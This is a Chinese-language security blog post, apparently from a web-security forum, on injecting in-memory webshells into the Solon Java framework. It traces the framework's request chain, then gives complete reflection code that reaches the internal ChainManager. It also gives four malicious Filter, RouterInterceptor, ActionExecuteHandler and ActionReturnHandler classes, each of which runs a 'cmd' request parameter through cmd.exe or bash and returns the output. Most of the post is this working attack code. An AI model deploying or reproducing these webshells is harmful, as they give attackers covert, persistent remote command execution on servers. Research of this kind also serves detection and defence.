Solon框架注入内存马

Solon是Java “新的”应用开发框架,类似Spring boot ,号称Java “纯血国产”应用开发框架

Solon框架注入内存马

Solon简介

Solon是Java “新的”应用开发框架,类似Spring boot ,号称Java “纯血国产”应用开发框架

Github地址

官网

架构图:

solon_schema.png

请求处理过程

img

Web处理会经过四个路段:过滤器(Filter)->路由拦截器(RouterInterceptor)->处理器(Handler)->拦截器(Interceptor)

Filter内存马

去官方下载了个demo

根据官方文档web开发部分编写了个简单的Filter

@Component(index = 0) //index 为顺序位(不加,则默认为0)  
public class FilterDemo implements Filter {  
    @Override  
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {  
        System.out.println(ctx.path());  //输出当前访问路径  
        chain.doFilter(ctx);  
    }  
}

在System.out.println(ctx.path());下断点,查看这个Filter是如何被添加的

首先查看第一个被调用的doFilter(org.noear.solon.core.ChainManager)

image-20240810193642799

image-20240810193741350

这第一个doFilter的作用是构建filter链,this.filterNodes里面的几个filter中,已经存在了前面编写的FilterDemo

往前看看FilterDemo是怎样被添加到this.filterNodes里的

在addFilter和addFilterIfAbsent方法里添加

image-20240810195058866

image-20240810195234212

接下来是找哪里调用这个addFilter或者addFilterIfAbsent

来到org.noear.solon.SolonApp的tryHandle方法

image-20240810194758282

跟进this.chainManager()来到org.noear.solon.core.route.RouterWrapper

image-20240810195953153

这个this._chainManager是ChainManager对象,往前看可以看到addFilter()

image-20240810200210499

到这里,可以清晰的知道,如果能通过上下文获取到_chainManager这个field,就能够添加任意的Filter了

下一步就是想办法获取到_chainManager这个field,这里借助了工具Java Object Searcher

编写代码搜索目标对象

List<Keyword> keys = new ArrayList<>();  
keys.add(new Keyword.Builder().setField_type("_chainManager").build());  
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);  
searcher.setIs_debug(true);  
searcher.setMax_search_depth(20);  
searcher.setReport_save_path("C:\\Users\\XXX\\Desktop\\demo");  
searcher.searchObject();

搜索结果:

TargetObject = {java.lang.Thread}   
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}   
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}   
    ---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}   
     ---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}   
      ---> _request = {org.smartboot.http.server.impl.HttpRequestImpl}   
       ---> request = {org.smartboot.http.server.impl.Request}   
         ---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler}   
          ---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$97/1745043985}   
           ---> arg$1 = {org.noear.solon.SolonApp}   
             ---> _chainManager = {org.noear.solon.core.ChainManager}

其中value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}是当前的上下文

image-20240810201632619

在查询官方文档的过程中,可以得到几种获取当前上下文的方法,其中Context ctx = Context.current();是最合适的,它是基于 ThreadLocal 实现的

综上,得到注入Filter内存马的实现代码:

Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addFilter(new Memshellclass(),0);

其中refgetFileobj方法如下:

public Object getfieldobj(Object obj, String Filename) throws NoSuchFieldException, IllegalAccessException {  
    try{  
        Field field = obj.getClass().getDeclaredField(Filename);  
        field.setAccessible(true);  
        Object fieldobj = field.get(obj);  
        return fieldobj;  
    }catch (NoSuchFieldException e) {  
        Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);  
        field.setAccessible(true);  
        Object fieldobj = field.get(obj);  
        return fieldobj;  
    }    
}

恶意Filter:

public class Memshellclass implements Filter{  
    @Override  
    public void doFilter(Context ctx, FilterChain chain) throws Throwable {  
        try{  
            if(ctx.param("cmd")!=null){  
                String str = ctx.param("cmd");  
                try{  
                    String[] cmds =  
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};  
                    String output = (new java.util.Scanner((new  
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                    ctx.output(output);  
                }catch (Exception e) {  
                    e.printStackTrace();  
                }  
            }  
        }catch (Throwable e){  
            ctx.output(e.getMessage());  
        }  
        chain.doFilter(ctx);  
    }  
}

RouterInterceptor内存马

RouterInterceptor内存马和Filter内存马差不多,其实在上面的initRouter方法已经发现了addInterceptor方法调用了

image-20240810212454987

只需要把_chainManager.addFilter修改为addInterceptor即可

Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addInterceptor(new RouterInterceptormemshell(),0);

其中恶意RouterInterceptor

public class RouterInterceptormemshell implements RouterInterceptor{  
        @Override  
        public PathRule pathPatterns() {  
            return new PathRule().include("/hello"); //限定路径,可以为return null;即作用于全路径  
        }  
        @Override  
        public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {  
            try{  
                if(ctx.param("cmd")!=null){  
                    String str = ctx.param("cmd");  
                    try{  
                        String[] cmds =  
                                System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                        "/c", str} : new String[]{"/bin/bash", "-c", str};  
                        String output = (new java.util.Scanner((new  
                                ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                        ctx.output(output);  
                    }catch (Exception e) {  
                        e.printStackTrace();  
                    }  
                }  
            }catch (Throwable e){  
                ctx.output(e.getMessage());  
            }  
            chain.doIntercept(ctx, mainHandler);  
        }  
    }  
​  
}

ActionExecuteHandler内存马

还是ChainManager这个类添加,下面的ActionReturnHandler内存马也一样

image-20240810223645215

Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addExecuteHandler(new ActionExecuteHandlermemshell());

恶意ActionExecuteHandler:

public class ActionExecuteHandlermemshell implements ActionExecuteHandler{  
    @Override  
    public boolean matched(Context ctx, String contentType) {  
        try{  
            if(ctx.param("cmd")!=null){  
                String str = ctx.param("cmd");  
                try{  
                    String[] cmds =  
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};  
                    String output = (new java.util.Scanner((new  
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                    ctx.output(output);  
                }catch (Exception e) {  
                    e.printStackTrace();  
                }  
            }  
        }catch (Throwable e){  
            ctx.output(e.getMessage());  
        }  
        return false;  
    }  
    @Override  
    public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {  
        return new Object[0];  
    }  
    @Override  
    public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {  
        return null;  
    }  
}

ActionReturnHandler内存马

Context ctx = Context.current();  
Object _request = getfieldobj(ctx,"_request");  
Object request = getfieldobj(_request,"request");  
Object serverHandler = getfieldobj(request,"serverHandler");  
Object handler = getfieldobj(serverHandler,"handler");  
Object arg$1 = getfieldobj(handler,"arg$1");  
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");  
_chainManager.addReturnHandler(new ActionReturnHandlermemshell());

恶意ActionReturnHandler:

public class ActionReturnHandlermemshell implements ActionReturnHandler{  
    @Override  
    public boolean matched(Class<?> returnType) {  
        return true; //为true时才回让returnHandle处理  
    }  
    @Override  
    public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {  
        try{  
            if(ctx.param("cmd")!=null){  
                String str = ctx.param("cmd");  
                try{  
                    String[] cmds =  
                            System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",  
                                    "/c", str} : new String[]{"/bin/bash", "-c", str};  
                    String output = (new java.util.Scanner((new  
                            ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();  
                    ctx.output(output);  
                }catch (Exception e) {  
                    e.printStackTrace();  
                }  
            }  
        }catch (Throwable e){  
            ctx.output(e.getMessage());  
        }  
    }  
}

思考

如果没有理解错的话,按照请求处理流程图,应该还有个Interceptor内存马或者Handler内存马。很菜,没有示例代码,不能调试分析

官方文档说,支持传统的WebServlet、WebFilter 和jsp,这应该也可以做内存马

参考

https://solon.noear.org/article/learn-solon-web

https://wx.zsxq.com/dweb2/index/topic_detail/8855182518512112

  • 发表于 2024-09-05 09:00:01
  • 阅读 ( 3338 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
Stree
Stree

果农

8 篇文章

站长统计